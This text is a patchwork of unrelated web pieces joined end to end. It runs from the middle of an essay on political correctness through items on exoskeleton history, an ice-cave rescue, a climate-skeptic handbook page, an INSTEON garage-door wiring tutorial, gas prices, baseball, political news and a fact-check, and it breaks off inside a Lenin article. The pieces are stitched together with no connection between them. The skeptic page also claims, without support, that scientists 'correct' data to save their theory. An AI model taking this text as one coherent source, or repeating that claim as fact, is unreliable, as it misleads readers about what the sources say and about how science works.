Butler, Crenshaw, Coates, or whomever, then what progressives normally see as a sign of disprivilege – the lack of a college education – must morph into a sign of low moral character.  Intersectional complexity has similar effects. By intersectional complexity I mean not the implications for social science of the original 1980s-era theory of intersectionality, but the less sophisticated and more popular notion that more or less all political issues and social justice struggles are interconnected. Hillary Clinton (or, no doubt, a staffer) actually tweeted an incomprehensible diagram in this vein during the 2016 primary season; another prominent example is the perplexing contention from an organizer of the Women’s Strike that the central issue it concerned was solidarity with Palestine. My favorite example of this lay sense of intersectionality is a piece of artwork a college friend of mine drew during Occupy Wall Street. No doubt intended to be inclusive in some sense, the unfortunate effect of insisting on such intersections is to make it impossible for people who have experience with or views on only one or a few issues to participate equally in conversations about them. But of course the only people with the time or wherewithal to learn about every such issue are activists and academics working in relevant fields.  It’s crucial to understand why Donald Trump’s political ascendancy, such as it was, is relevant. First, political correctness was a constant concern both of the campaigns themselves and of the discussion surrounding them, and understanding it as a form of epistemic injustice can help us to understand how it played such a huge role. In one model, attitudes toward political correctness were more helpful in predicting which survey-takers voted for which candidate than any other measure except party affiliation – and in the survey it used, over half of Trump voters gave the highest available score for their opposition to political correctness (Clinton voters were, on average, neutral toward it, with almost half expressing opposition). Second, the 2016 election was the first to see “class” appear as an educational category: what really united “lower-class” Trump voters was not wealth or income but the lack of a college degree. We should view the fervent and unified bloc of such voters as a statement, of whatever coherence or wisdom, about epistemic injustice.  Why do leftists, progressives, and liberals, the progenitors of ideas like epistemic injustice, seem unaware of, or unabashed about, their own systems of exclusion? Some people, like Peter Boghossian and John McWhorter, have theorized that social justice is an essentially religious movement, perhaps even with distinctly Judeo-Christian elements. Others, like Adolph Reed Jr., view it as an ideology that serves the interests of a professional-managerial class. Luckily, these analyses are not at all mutually exclusive. In fact, the great sociologist Max Weber already linked the two in his 1905 masterwork The Protestant Ethic and the Spirit of Capitalism.  The Protestant Reformation, Weber writes, was deeply unsettling to many people, because the Catholic Church’s conditional assurances of salvation had been replaced with the Calvinist doctrine of predestination. Paradoxically, the notion that one could never do anything to save one’s soul led people to compensate by working very hard – the sort of productivity necessary for early capitalism.  The same sort of paradox lies at the heart of much social justice rhetoric and practice: it is said to be impossible for white people to be non-racist or for males to be non-sexist, for instance, but rather than spurring some or another white and/or male aficionado to spend their time on things that aren’t impossible, this leads to endless spiraling examinations of the ways in which they are problematic. Within social justice, “work” takes on new meaning: it is not at all rare to hear a social justice advocate say, e.g., “I’ve been doing a lot of work on that issue,” by which they mean that they have attempted, internally, to confront and correct their own biases. Political correctness is the only means available for signaling that one is undergoing or has undergone such a process. But because a final salvation by works is impossible, there must always be another level of epistemic labor for the penitent to perform, another kind of privilege to check, another kind of behavior to apologize for.  Whatever one thinks of Weber’s Protestant ethic, the restriction of salvation-signaling hard work to the realm of the linguistic, academic, theoretical, etc. and the personal, internal, etc. should not be the sort of development leftists like. The timing of it, too, should strike us as suspicious. Right when American manufacturing, for instance, seems the most vulnerable to global trade pressures and the nascent possibility of automation, a new generation of woke college graduates – and professors – appears to tell us that real work, the kind that confers virtue and dignity, can never be done with one’s hands. Should it surprise anyone that centrist liberals think rural voters deserve to lose their health coverage, or that centrist conservatives think rural communities deserve to die, or that political philosophers think they shouldn’t even be able to vote? A leftist should know: it wouldn’t be a very good Spirit of Capitalism if it were to promote useless work or to forgive joblessness. But a leftist should also try to do better.  I’m sympathetic to Miranda Fricker’s sense that epistemic justice also serves epistemic rationality. One question my analysis raises, then, is: what sorts of knowledge or understanding might be precluded by the epistemic injustice of political correctness? The clearest example is illustrated by Lee Jussim’s work on stereotype accuracy. Jussim has tried to demonstrate that lay stereotypes about groups – the sorts of stereotypes all that social justice “work” is meant to shake off – are not just highly reliable, but often more reliable than the theories of academic social science. In other words, the prototypical ignorant citizen, who hasn’t labored toward the non-salvation of identity-capitalist wokeness, may make better predictions in many settings than the progressives and elites who scorn them – even if they’re experts.  Another example is the 2016 election, whose dynamics in both the primary and general election completely escaped the vast majority of coastal commentators. It’s no coincidence that Dilbert author Scott Adams got things right: no great intellect, Adams simply and intuitively grasped a comparison – also elucidated by Joan C. Williams – between the corporate-speak gobbledygook of his pointy-haired boss and the media’s clear preference for the political correctness of the message-less, confusing Clinton campaign, which seems in retrospect less a push to be elected President than a push to be promoted to President. Almost anybody outside the bubble could have told you clearly what Clinton’s faults were, but the bubble itself fawned over punditry denying that those faults existed.  Educated people, including educated liberals and progressives and especially educated leftists, must consider both the ethical side and the epistemic side of political correctness. The good news is that they can do so by returning with a renewed (or newly real) dedication to the sorts of principles they’ve always claimed to champion: inclusiveness and good listening, openness and free expression, empathy and care for the marginalized, thoughtfulness and respect for the truth. The bad news is that in doing so they may need to lose their religion, and its trappings of complex social theory, baroque conversational rules, and unstated hierarchies of authentic oppression. The journalist Chris Arnade has talked about the “front row” and “back row” of America. Professional progressives in politics, the media, and the academy must confront honestly the conflict between their class interest in remaining at the front and their deeply-held conviction that there shouldn’t be a back row at all.
-But the solution offered by these devices also illuminates a problem they’ve helped to create. In thinking about the limits of exoskeletons, it’s perhaps most important to think about why many people seem more interested in hoisting someone out of their wheelchair than they are in making spaces accessible to that chair.  * * *  Powered exoskeletons did not start as assistive devices. The first patent for a powered exoskeleton, filed by a Russian inventor named Nicholas Yagn, was approved on January 28, 1890. Yagn’s “apparatus for facilitating walking” involved long springs attached to each leg, designed to give soldiers in the Russian Army an advantage when running. There is no documented evidence that Yagn’s device was ever actually built or operated.  In the 1960s, inventors began to create elaborate powered exoskeletons, a rise fueled once again by the military. In 1965, with funding from the U.S. military, General Electric started developing something called the Hardiman, whose name was a mashup of “Human Augmentation Research and Development Investigation” and “MANipulator.” The machine was huge—once built, it would weigh 1,500 pounds, and was meant to amplify the strength and endurance of human arms and legs. “Man and machine can be combined into an intimate, symbiotic unit that will perform essentially as one wedded system,” the G.E. engineer Ralph S. Mosher wrote in a report on the Hardiman.  But the Hardiman never quite lived up to the hopes and dreams of its creators. In 1970, engineers finished building the leg and girdle systems, but they weren’t able to walk or stand up without support, and the project was abandoned the following year.  At the same time that G.E. engineers were working on the Hardiman, scientists in Belgrade were also experimenting with powered exoskeletons, this time for use on patients with various forms of paralysis. In 1970, the researcher Miomir Vukabratovic designed what he called a “partial active exoskeleton.” Unlike the Hardiman, this exoskeleton was far lighter (just 26 pounds) and was successfully built and tested on humans in over 100 clinical trials. But Vulabrotavic’s exoskeleton had no power source integrated into the device, and the limitations of the motor and battery technology of the time made the exoskeleton unusable.  It wasn’t until around 2000 that powered exoskeletons really passed from dream into working reality. That was the year that the Defense Advanced Research Projects Agency funded a project called the Berkeley Lower-Extremity Skeleton, or BLEEX. The BLEEX system, developed by engineers at the University of California, Berkeley, only includes legs, and the wearer has to carry the power supply and computer for the device in a large backpack. The premise of this system isn’t to help disabled people towalk again, but rather to make carrying large loads over long distances less exhausting. “While wearing the exoskeleton, the wearer can carry significant loads over considerable distances without reducing his/her agility, thus significantly increasing his/her physical effectiveness,” the researchers write.  Since then, a whole battery of exoskeletons for different purposes have been developed specifically with disability in mind. In addition to ReWalk, there’s the eLEGS system, HAL, and MindWalker, to name a few. In 2009, a group at MIT built an elastic exoskeleton based in large part on Yagn’s springy drawings.
-A 10-year-old Sacramento County girl is safe at home after a terrifying ordeal in the Sierra.The girl fell into an ice cave over the weekend, near Castle Peak, not far from the Boreal Mountain Resort. And as luck would have it, Bay Area first responders happened to be training there.Samantha White, 10, was looking down a hole over a snow-covered creek when she slipped. I a photo, you can see her hand print where she grasped the snow before she fell 10 feet. Her father tried to help.Samantha's dad William White said, "I stuck out the snow pole for her to grab and she wasn't strong enough to hold on to it."Samantha said, "I didn't hurt myself. It was just scary and the water was freezing."There were 14 members of the Marin County Sheriff's Search and Rescue Team who just happened to be training in the same area near Boreal.Robert Rye from the Marin County Sheriff's Search and Rescue team , or Marin SAR, said, "She was crying, scared. She couldn't hear very well because the snow pack was probably six or eight feet thick."In less than 15 minutes, the team improvised a system of ropes and plucked the Sacramento County girl straight out of the hole. Two of the search and rescue workers, pictured with Samantha and her hiking friend, are teen volunteers.Malcom Schoenlein, a youth member of Marin SAR, said, "We got her wet shoes and socks and wet jacket off, and replaced it with gear that we pulled together from our personal packs."Lauren Knott, a youth member of Marin SAR, said, "I remember putting my hat on her head when we pulled her out of the hole because she was shivering and then I said, 'You look good in my hat.' Then she smiled and I was so happy."Samantha said, "I was happy I was up and my feet were freezing."Samantha would have become hypothermic or worse, but the search and rescue team was there in the right place at the right time.
-Help! How do I know?  How do you tell a scientist from a non-scientist? Where does science end, and propaganda, politics, and opinion begin? You only need to know one thing: …  … Straight away, this sorts the wheat from the weeds. We don’t learn about the natural world by calling people names or hiding data. We don’t learn by chucking out measurements in favor of opinions. We don’t learn by suppressing discussions, or setting up fake rules about which bits of paper count or which people have a licence to speak. A transparent, competitive system where all views are welcome is the fastest way to advance humanity. The Royal Society is the oldest scientific association in the world. Its motto is essentially, Take No One’s Word For It. In other words, assume nothing; look at the data. When results come in that don’t fit the theory, a scientist chucks out his theory. A non-scientist has “faith”, he “believes” or assumes his theory is right, and tries to make the measurements fit. When measurements disagree, he ignores the awkward news, and “corrects”, or statistically alters, the data–always in the direction that keeps his theory alive.  Page 13  TURN THE PAGES (Links in red will become active as pages are published). You are on the page in the Red Square.  This is page 15 of The Skeptics Handbook II. A 20 page PDF  NOTES: This page was created as part of the booklet Global Bullies Want Your Money (The Skeptics Handbook, vol. II). It was inspired by requests from people who were obviously frustrated. They wanted a formula, a checklist, or a table: a way to know which side was right. The people who normally like to trust authority are the ones most likely to run into a brick wall in this debate. They trust the scientific method, but also trust the institutions, the processes, and the politics that have risen up to supposedly carry this method from it’s pure form into it’s practical output. And the two sides are at loggerheads.  I trust the scientific method, but not the human institutions (they are subject to ambition, personality, money, and conflicts of interest).  In the end, the only real way to decide is to look at the evidence. But, if you have to figure out who to trust, if that’s your chosen short-cut, then at least this is a more systematic approach than trying to weigh up the resumes on each side.  VN:F [1.9.22_1171]  please wait... Rating: 10.0/10 (7 votes cast)
-It’s well documented that the INSTEON I/O Linc can be used to control a garage door and monitor whether the door is open. It can even be accessed from a mobile device, making this a highly convenient home automation tool for less than $100. What was far less clear (to me, at least) was exactly how to connect the I/O Linc to the garage door opener. So, what follows is equal parts tutorial and lessons learned. The details will almost certainly vary, so be sure to consult the user manuals for your equipment.  Equipment List  SmartLinc 2412n controller  I/O Linc  20-28 gauge wire  Garage door opener  Magnetic sensor (optional)  Soldering iron, wire nut, or some other means of joining wires (optional)  Wiring the Garage Door Opener  A garage door opener (GDO) typically has several terminals on its rear panel:  Some GDOs will have three terminals; others have four. For three-terminal openers, there are two “hot” terminals (one for devices that control the door, one for safety sensors) and a shared “common” terminal that’s normally in the center. A four-terminal GDO will normally have two terminals for controlling devices and two for sensors. The specific function of these terminals can vary from one GDO to the next, so be sure to track down the manual for your unit. (I hope you have better luck than I did.)  On my GDO—a Craftsman from circa 1997 with part number 41A5021-3B on the rear panel—there are three terminals:  To connect my GDO to the I/O Linc, I used a length of old (read: ugly) speaker wire that I had lying around. (I recommend using bell wire or one pair of wires from an RJ-45 cable as they will be a better fit for the I/O Linc terminals.) One wire connects to the Remote/Opener Terminal (#1). The second wire connects to the common terminal (#2) in the center. The button on the wall will also be wired to these terminals.  Next, we’ll connect the other end of the new wires to the I/O Linc. The instruction sheet that ships with the I/O Linc is helpful and full of dense information, but it left me scratching my head. There is one very important wrinkle that must be dealt with before we can wire the I/O Linc to the GDO. The I/O Linc ships with its relay in latch mode, which means that when you press the button on the wall, the I/O Linc will close the relay and keep it closed. Most GDOs assume that the relay will close for a brief period (say, two seconds) and then open again. We need to configure the I/O Linc to respect this assumption.  Configuring the relay mode  Press and hold the “Set” button (on the side of the I/O Linc) until it beeps. Release the button. The I/O Linc is now in linking mode. Press and hold the “Set” button (on the side of the I/O Linc) until it beeps. Release the button. The I/O Linc is now in unlinking mode. Press and hold the “Set” button (on the side of the I/O Linc) until it beeps. Release the button. The I/O Linc is now in output relay programming mode. The unit automatically rotates to the next mode; if you were starting with a stock I/O Linc in “Latch” mode, it is now in “Momentary A” mode. This means that an “On” command will operate the door, and an “Off” command will be ignored. (If you prefer that “Off”—or even both commands—will trigger the door, then feel free to explore the “Momentary B” and “Momentary C” modes.)  I/O Linc Wiring  We’re ready to connect the GDO to the I/O Linc. The other ends of our wires need to be connected to the Normally Open (N/O) and Common (COM) terminals on the I/O Linc:  The other two wires in the photo are for a magnetic garage door sensor. More on that in a moment.  When the I/O Linc receives a signal from its controller (a SmartLinc 2412n in my case), its relay closes, and the normally open circuit is closed for a brief moment. This is the very same event that occurs when you press the button on the wall. The GDO responds by opening, closing, or halting the garage door.  Monitoring the door state  If you want to monitor whether the door is open or closed, then you’ll need a magnetic door sensor. These are inexpensive (< $5) and easy to install. Once the sensor is mounted, connect one wire to the I/O Linc’s “Sense” (S) terminal and the other to “Ground” (GND). When the door is closed, the green Sense light on the I/O Linc will be illuminated. When the door opens, the light will go out.  N.B.: If you plan to use the INSTEON mobile app, be advised that the “Status” for the I/O Linc is the status of the relay, not the door. When you open or close the door, the status will briefly change from Off to On and then back. If you want to monitor the open/closed state of the door, you will need a more sophisticated app. For Android devices, MobiLinc is a good option.  Closing thoughts  Controlling and monitoring your garage door opener with INSTEON devices is not complicated, but pulling together the relevant instructions can be frustrating. Makers of garage door openers generally don’t explain how to do one-off installations, and the dense instruction manuals for the other components can be offputting. Hopefully I’ve found a comfortable middle ground with this tutorial. If you follow these steps and find that the steps are incorrect or that your equipment differs from what I’ve described, please leave a comment below. Good luck, be safe, and have fun.
-Forget $2 gas. Gas is getting close to the $1 mark in some parts of the country.  There are at least eight states where some stations are now selling gas for less than $1.25 a gallon, according to GasBuddy.com. The cheapest gas at the moment is at a 7-Eleven in Oklahoma City, which is selling a gallon of regular for $1.11. In fact, more than a dozen other stations in that city have gas for $1.14 or less. Extremely cheap gas can also be found in Texas, Missouri, Ohio, Indiana, Illinois Michigan and Kansas.  Nationwide, the average price of a gallon of regular is down to $1.74, the cheapest it's been since early January 2009.  A huge supply of gas is flooding the market, which is driving down wholesale gas prices. A gallon of regular gas was going for just 69 cents on the wholesale market in Oklahoma on Monday morning, according to Tom Kloza, chief analyst for the Oil Price Information Service. Most other regions have wholesale prices below $1.  Related: U.S. running out of space to store oil  Gas probably won't go below $1 a gallon, Kloza said, but cheap gas has become fairly common.  "About one station in four nationwide is at $1.50 a gallon or less," he said.  Cheap gas is also the result plunging oil prices; a barrel of crude fell below the $30 mark again on Monday. There's a glut of oil on the market due to strong U.S. production, the end of Iranian sanctions and the refusal of some OPEC members like Saudi Arabia to cut back production to support prices.  Related: How much does gas cost in your state?  But gas this cheap may not last much longer, even if oil prices continue to tumble Kloza said. The reason: Since refineries can't make much money in this kind of market, some will probably take this opportunity to shut down and perform maintenance, he explained  And the reduced supply of gas will mean higher prices.  Still, Kloza expects gas to stay relatively cheap by historical standards, with the national average for 2016 likely to come in between $2.25 to $2.50 a gallon.
-Hey guys! Quick update for what I’ve been up to lately. It’s been a long while (and even longer since I’ve been on Tumblr o.o) and I hope you guys are looking forward to some more content :)  Top 10 OSTs of 2014! HOLY CRAP GUYS I MADE A VIDEO! Today I reviewed my top 10 favorite OSTs of 2014. This was such an amazing year in video game music, it was hard to pick even 10 to spotlight! I hope you guys enjoy the video and I look forward to hearing what you think about it :)  heymrbass: New stream for Extra Life! And remember, donate: http://www.heymrbass.com/charity  TheChicagoClubhouse Extra Life: 24 Hour Videogame Marathon for Charity! Help Us Reach Our Stretch Goal of $250! Still streaming here guys! Come tune in and support a great cause in Extra Life!  heymrbass: Posting the new stream link!  Extra Life Charity Stream! Hey guys, long time no see! :) Just wanted to let you all know that I’m doing some charity livestreaming with my friends for Extra Life today. It’s a 24-hour marathon stream and it’s a pretty awesome cause, so come stop by and watch us play some games! You can also tune into my friend’s stream over at heymrbass, he’s a pretty cool guy and I’ll stop by there later today to visit and play some games as well. Hope you’re all doing well and come visit!  Analysis: Mario Kart Stadium Hey guys, back on the horse with an analysis of Mario Kart 8’s Mario Kart Stadium! :) Also, fun fact: the blog turned one year old today, so hooray for that! I’ll celebrate with a quick vlog later this week that will discuss the vlog’s bright future :D  So you guys can expect a new video either tonight or (more likely) tomorrow evening. Surprise. Backstreet’s back, y'all. (Ok, I promise never to say that again)  Analysis: Metalman’s Stage, Mega Man 2 Hey guys, new blog is up! Finally getting back into more retro music with a quick glimpse at the Mega Man 2 OST :)
-Corey Kluber of the Cleveland Indians was named the American League's top pitcher, winning his first Cy Young Award.  Kluber captured 17 first-place votes and 169 points, narrowly edging out Felix Hernandez of the Mariners who earned the other 13 first-place votes and 159 points. White Sox LHP Chris Sale finished third with 78 points.  Editor's Picks Schoenfield: Kluber edges Felix to win AL Cy You couldn't go wrong with Corey Kluber or Felix Hernandez as the AL Cy Young winner. The race was that close, David Schoenfield writes.  "I think I'm definitely surprised," Kluber said.  Kluber enjoyed a breakthrough 2014 season, his second full year as a starter, going 18-9 with a 2.44 ERA and 269 strikeouts in 235 2/3 innings. The right-hander led the league in wins, finished second in strikeouts, third in innings pitched and was third in ERA.  The 28-year-old Kluber was dominant down the stretch this season with the Indians (85-77), who fell just short of a postseason berth despite posting a winning record for the second straight year. He posted a 1.73 ERA after the All-Star break and won his last five starts, recording 54 strikeouts and a 1.12 ERA over that stretch.  Kluber became the fourth Indians pitcher to win the award, joining Cliff Lee (2008), CC Sabathia (2007) and Gaylord Perry.  Tight Race Many expected Felix Hernandez to win his second Cy Young Award, but Corey Kluber held his own against King Felix. Here is a look at both pitchers: Category Hernandez Kluber IP 236 235 2/3 Strikeouts 248 269 HR allowed 16 14 ERA 2.14 2.44 --ESPN Stats & Information  When asked how he would celebrate the award, Kluber revealed plans far from flashy.  "Probably go home and give my daughters a bath," he said.  Hernandez said the tough loss will motivate him even more.  "I don't know what to say. That was tough,'' Hernandez said. "A little disappointed. Just give me more motivation to work harder and harder and be better next year."  Hernandez went 15-6 with an AL-leading 2.14 ERA and 248 strikeouts in 236 innings. He set a major league record when he pitched 16 straight games of seven or more innings and allowing two earned runs or less. It was a brilliant stretch from May to early August that put Hernandez in the lead for his second Cy Young award.  Information from The Associated Press was used in this report.
-Republican presidential candidate Donald Trump received a huge cheer from America's sheriffs this week, especially when he told them "my support for you will never ever waiver."  Trump called into a National Sheriffs' Association annual conference in Minnesota where he promised to stand behind law enforcement no matter what and pledged to push for the death penalty for anybody who kills a police officer.  "Hello everybody, great to be with you," he said to cheers via Skype late Monday.  He noted that sometimes police get in trouble, but he said it's "unfair" for the media to focus on those incidents while not giving cops credit for keeping people safe.  "You don't get recognized properly the way you should be recognized. You do a phenomenal job. You keep us all safe," said the presumptive GOP presidential nominee.  He added that in meetings with voters around the country, there is support for law enforcement.  "We have great admiration and respect for you and I just want to thank you for doing an incredible job. Believe me, the country is behind you," said Trump in a video posted on Facebook.  "The country, the people, which are the people that count, they are behind us, they are behind you, they are behind me," he added.  Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.com
-To hear Reps. Fred Upton and Ed Whitfield talk about their new energy bill, you'd think it will prevent gas prices from increasing before your next fill-up.  Upton, the Michigan Republican who chairs the influential Energy and Commerce Committee, and Ed Whitfield, the Kentucky Republican who heads the Energy and Power subcommittee, recently argued in a letter to fellow lawmakers that one way to stop rising gas prices would be to pass the Energy Tax Prevention Act of 2011 (H.R. 910).  The bill grows out of longstanding frustration by industry groups and lawmakers who believe that Environmental Protection Agency regulations unnecessarily burden many companies.  The measure -- which Whitfield’s subcommittee approved on March 10, 2011, and which now heads to the full committee -- would prevent the EPA from regulating greenhouse gases for the purpose of addressing climate change.  Here’s a portion of what Upton and Whitfield wrote to their colleagues in the March 8, 2011, letter, which is headlined, "Concerned About High Gas Prices? Cosponsor H.R. 910 and Make a Difference Today!"  "Whether through greenhouse gas regulation, permit delays, or permanent moratoriums, the White House takes every opportunity to decrease access to safe and secure sources of oil and natural gas," the lawmakers wrote. "Gasoline prices have climbed dramatically over the past three months. American consumers deal with this hardship every day, and as this poll indicates, the majority of respondents do not see the pain subsiding anytime soon. Americans also understand the realities of supply and demand as it relates to oil prices. Unfortunately the White House does not. ...  "H.R. 910, the Energy Tax Prevention Act of 2011, is the first in this legislative series to stop rising gas prices by halting EPA’s Clean Air Act greenhouse gas regulations. As one small refiner testifying before the Committee on Energy and Commerce put it: ‘EPA’s proposed [greenhouse gas] regulations for both refinery expansions and existing facilities will likely have a devastating effect on … all of our nation’s fuels producers…. If small refiners are forced out of business, competition will suffer and American motorists, truckers and farmers will be increasingly reliant on foreign refiners to supply our nation’s gasoline and diesel fuel.’  "We … have taken the first steps in attempting to restrain this regulatory overreach that will restrict oil supplies and cause gasoline prices to rise."  But can the bill really stop gas prices from going up, as the letter says?  We’ll look at two key questions. Could the proposed EPA regulations on oil refineries actually increase prices at the pump? And when would the impact of the regulations be felt?  As to the first question, experts had different opinions.  The oil industry argues that regulations imposing new costs on refiners could force U.S. refineries to charge more. (The proposed regulations are supposed to shield smaller operations from regulatory impacts, but experts said that a significant proportion of U.S. refineries would indeed be affected.)  "It’s Economics 101," said John Felmy, chief economist at the American Petroleum Institute. "The refinery business is a very low-margin business. They have no margin for error and face tough competition internationally."  Others argue the refining industry could adapt to new regulations.  "Looking at past public claims when the Clean Air Act was passed would show that U.S. refining capacity still managed to increase over time, despite the high expense refiners had to put out to comply with the Clean Air act," said Amy Myers Jaffe, a fellow in energy studies at Rice University.  "So one might imagine, depending on the details on how carbon regulation would be implemented, U.S. industry could likely similarly adjust," Jaffe said. "It depends on the specifics of how a policy is implemented. There are no doubt some small refineries in the United States that might be really inefficient, so maybe some of them would close if they had to increase their costs substantially, but tiny, uncompetitive, regional refineries are not the main thing that makes the US refining and marketing industry ‘competitive.’"  Indeed, while a shift to overseas refiners could have negative consequences for the nation -- it could weaken the United States’ industrial base, threaten U.S. jobs and pose problems for national security -- it’s not a foregone conclusion that prices at the pump would rise. If U.S. refiners become less competitive and more oil is instead imported from overseas refiners, it will be because the cost of refining overseas becomes more competitive. That’s the essence of a free market.  And even if the cost of refining did go up, the cost of gasoline is volatile and affected by many factors such as global demand and supply disruptions. So there's no certainty that a bump in refining costs would necessarily translate into higher prices at the pump.  As for the second question -- when any impact might be felt -- the rules wouldn't take affect for months or years.  The EPA won't even propose the first-ever greenhouse-gas standards for refineries until December 2011 and doesn't plan to issue final standards until November 2012. Those standards would govern emissions for new and significantly overhauled refineries. Rules for existing refineries are expected to be unveiled in July 2011.  Based on the past history of EPA regulations, the new rules aren't likely to take effect until a few years after that, experts said.  So, if the bill were to pass, it would prevent EPA regulations that would otherwise take effect in 2013, 2014 or 2015. That’s a long way away.  Another factor: the regulations targeted by the House bill are new ones. So if the House bill passes, it would essentially protect the status quo -- not take any explicit action to stop price hikes.  So where does this leave us?  While Upton and Whitfield's letter is carefully worded, it frames the argument for the bill in the context of today’s trend of rising gasoline prices. Yet the impact of the bill -- if there is an one -- would be years away. And there's no proof that the law would actually stop gas prices from rising. The added regulations now being planned may hamper U.S. refiners, but the international free market could just as easily end up keeping refining costs low. And it’s hardly assured that any changes in refining costs -- up or down -- will influence gasoline prices, which are subject to a wide array of influenes. We find their claim False.
-Following a dramatic appearance by Hillary Clinton on the packed floor of the Democratic Convention, Barack Obama, the Hawaiian-born son of a mother from Kansas and a father from Kenya, was finally and officially named the party's presidential candidate last night.  Mrs Clinton swept on to the convention floor just as her home state, New York, was being called upon to cast its vote during a raucous roll-call of the delegates of all states. In a striking gesture of unity after all the months of bitterness, Mrs Clinton took the microphone to formally ask that the vote be suspended and that the convention approve the Obama nomination by acclamation.  "With eyes firmly fixed on the future, in the spirit of unity... let's declare together in one voice, right here right now, that Barack Obama is our candidate and he will be our president," she said, reading from a script.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  "I move Senator Barack Obama of Illinois be selected by the convention by acclamation as the nominee of the Democratic Party" she added, lifting the roof of the convention hall. Her request was instantly accepted by Nancy Pelosi, the convention's presiding officer.  Mrs Pelosi then announced that Barack Obama had accepted the nomination.  The stage is now set for Denver's vast outdoor arena where tonight, on the 45th anniversary of Martin Luther King's "I Have a Dream" speech, Mr Obama will deliver an address upon which hangs the outcome of November's American presidential election, and the hopes of the first black man with a real shot at the White House.  Eight years ago, such a scenario would have been laughable. Obama was broke and without political friends of any consequence. He had to gatecrash the 2000 Democratic Convention in Los Angeles after arriving on a cheap flight at the last minute. A rental car company rejected his maxed-out American Express card and he watched Al Gore accept the party's nomination on television screens at the perimeter of the convention centre.  Tonight will seem a millennium away. This time, it will be Gore in the audience lending support to the candidate on whose slender shoulders the Democrats' hopes lie. The psychodramas surrounding Hillary Clinton have also been dealt with following the rapturous reception for her barnstorming speech to the convention on Tuesday.  Senator Obama's acceptance of the nomination before 70,000 people is set to be an extraordinary political event. The task at hand is to energise the party and reconnect Obama's "colourblind" vision for the country with those Republicans who were briefly enthralled by his electrifying promise to unify America's angry and divided politics.  Back in 2000, at the age of 39 and with his career crashing around him, his hopes seemed to have flamed out after he had been trounced while trying to unseat a well-liked black Congressman. He recalls being terrified that for all his dreams he was about to disappear from public life – just as his talented Kenyan father had done before him.  Last night, he arrived in Denver on a private Boeing 757 with his name emblazoned on the side. It was yet another giant step in the remarkable journey from ambitious local politician to global political superstar, who may from January be President of the world's troubled superpower.  Tonight, millions of Americans – and millions more around the world – will hang on his every word. But John McCain, whose campaign is ratcheting up the attacks on Obama's inexperience with every hour, will be watching too. Even Obama's decision to choose the experienced political warhorse Joe Biden as his running mate has not given him the hoped-for "bounce" in the polls.  Yet, during the past eight years, it is Obama's extraordinary ability to rise to the occasion that has marked him out from the crowd. Campaigning this week in four battleground states – Wisconsin, Iowa, Missouri and Montana – he has worked late into the night with a pen and yellow pad, crafting in longhand what is expected to be the speech of his lifetime.  Mr Obama has given hundreds of stump speeches over the past two years, some of them inspiring, many of them repetitious. But it is an address delivered in 2002 to a group of war protesters in which he flatly stated his opposition to the invasion of Iraq that he considers his best.  Just a year after 11 September 2001, with Mr Bush riding high and polls supporting an invasion – and just as he was preparing to run for the US Senate – he committed what many thought to be political suicide.  "I don't oppose all wars," he said. "What I am opposed to is... a war based not on reason, but on passion, not on principle but on politics." That seemingly foolhardy, if prescient, statement made him the only top-tier presidential candidate flatly to oppose the war before it was launched. Until 2004, he languished in the backwaters of Chicago, an obscure state senator – the lowest form of pond life in national politics. Then he was noticed by John Kerry, the Democratic candidate of that election year. Wooden and uninspiring, Kerry was on the lookout for a talented black politician. After seeing Obama skilfully work a room of white voters, he soon invited him to deliver the keynote address at the 2004 Democratic National Convention in Boston.  It was just 17 minutes long but the speech captured America's attention. The speech, which Obama insisted on writing himself, was hailed as a classic by the political world and earned him comparisons to John F Kennedy and Martin Luther King.  It has become part of the myth of Obama's effortless rise as a political phenomenon. But behind the legend lies a cunning, an extraordinary ambition and an unrivalled attention to detail that he learnt going door to door as a community organiser in Chicago's South Side.  That trademark micro-management was in evidence again yesterday as his campaign succeeded in short cutting the roll-call of states – thereby avoiding the embarrassment of the biggest states declaring for Hillary Clinton. The Obama camp ensured that long before most Americans switched on their TVs last night – Barack Obama was already the Democratic nominee to become the 44th US president.  King's dream and the road to Denver  1870: Hiram Revels, a Republican from Mississippi, is the first African American elected to the US Senate.  1954: Thurgood Marshall, a lawyer for the National Association for the Advancement of Coloured People (NAACP), successfully argues for the end of school segregation before the US Supreme Court. In 1967, he becomes the first African American to serve on the court.  1955: Rosa Parks, a seamstress and civil rights activist in Alabama, refuses to give up her seat on a bus to a white person. Her act propels the Civil Rights movement forward.  1963: Martin Luther King, pictured, leads the March on Washington for Jobs and Freedom that brings 250,000 to the capital on 28 August – 45 years ago. The event culminates with his "I Have a Dream" speech from the Lincoln Memorial. (King is assassinated in April 1968.)  1968: Shirley Chisholm becomes the first African-American woman elected to the US Congress. In 1972, she runs for the Democratic presidential nomination.  1984: The Rev Jesse Jackson makes the first viable bid by an African American for his party's presidential nomination. He wins more than three million votes in the primaries, but eventually comes third.  2001: Colin Powell, a four-star general, is chosen by George Bush as Secretary of State, the first time an African American has served in that position. He was also the first black Chairman of the Joint Chiefs of Staff, the highest military rank in the US, in 1999.  For rolling comment on the US election visit: independent.co.uk/campaign08  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Vladimir Lenin  Comrade Workers, Forward To The Last, Decisive Fight!  Written: First part or August 1918  First Published: 17 January, 1925 in Rabochaya Moahva No. 14; Published according to the Manuscript  Source: Lenin’s Collected Works, Progress Publishers, Moscow, Volume 28, 1965, pages 53-57  Translated (and edited): Jim Riordan  Transcription/HTML Markup: David Walters  Online Version: V.I.Lenin Internet Archive, 2002  The Soviet Republic is surrounded by enemies. But it will defeat its enemies at home and abroad. A rising spirit which will ensure victory is already perceptible among the working people. We already see how frequent the sparks and explosions of the revolutionary conflagration in Western Europe have become, inspiring us with the assurance that the triumph of the world workers’ revolution is not far off.  The external foe of the Russian Soviet Socialist Republic at present is British, French, American and Japanese imperialism. This foe is attacking Russia, is plundering our territory, has seized Archangel and (if the French newspapers are to be believed) has advanced from Vladivostok to Nikolsk Ussuriisky. This foe has bribed the generals and officers of the Czechoslovak Corps. This enemy is attacking peaceful Russia with the ferocity and voracity of the Germans in February, the only difference being that the British and Japanese are out to seize and plunder Russian territory and to overthrow the Soviet government so as to “restore the front”, i.e., to draw Russia again into the imperialist (or more simply, the predatory) war between Britain and Germany.  The British and Japanese capitalists want to restore the power of the landowners and capitalists in Russia in order to share with them the booty captured in the war; they want to shackle the 